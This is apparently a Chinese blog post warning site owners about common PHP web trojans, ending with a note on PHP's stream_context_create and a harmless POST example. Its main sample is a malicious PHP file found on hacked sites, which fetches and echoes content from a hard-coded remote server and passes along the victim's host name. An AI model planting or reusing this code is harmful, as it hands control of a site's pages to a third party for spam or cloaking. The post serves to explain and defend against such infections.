打开php网页中木马,常见PHP网页木马

# 常见的PHP网页木码

>[success]网站上线后,就容易被恶意挂码,除了做好网站安全外,还要了解,常见的挂码方式。

>

## 下面就是一个恶意的代码

>[success]这种的还不算是最为严中的,他只是让在你的站点中增加了一个php文件,当搜索引擎访问题,会打开他们指定的内容。

>

>[success]这种攻击,一般会在站点根目录生成一个`global`文件,下面的php文件,就是通过这个文件生成的。

~~~

set_time_limit(0);

header("Content-Type: text/html;charset=gb2312");

$Remote_server = "http://122.114.242.133/";

$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'];

$Content_mb=getHTTPPage($Remote_server."/index.php?host=".$host_name);

function getHTTPPage($url) {

$opts = array(

'http'=>array(

'method'=>"GET",

'header'=>"User-Agent: aQ0O010O"

)

);

$context = stream_context_create($opts);

$html = @file_get_contents($url, false, $context);

if (empty($html)) {

exit("

Connection Error!

");

}

return $html;

}

echo $Content_mb;

?>

~~~

>[danger]stream_context_create — 创建资源流上下文

>stream_context_create()模拟POST/GET,

~~~

//请求数据

$data =[

'name'=>'zhangsan',

'age'=>25,

];

//http_build_query — 生成 URL-encode 之后的请求字符串

$data = http_build_query($data);

//post请求地址

$url="http://www.127.0.0.1/test.php"

//配置请求方式及请求参数等

$options = array(

'http' => array(

'method' => 'POST',

'header' => 'Content-type:application/x-www-form-urlencoded',

'content' => $data

//'timeout' => 60 * 60 // 超时时间(单位:s)

)

);

//stream_context_create — 创建资源流上下文

$context = stream_context_create($options);

//获取数据

$result = file_get_contents($url, false, $context);

~~~

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值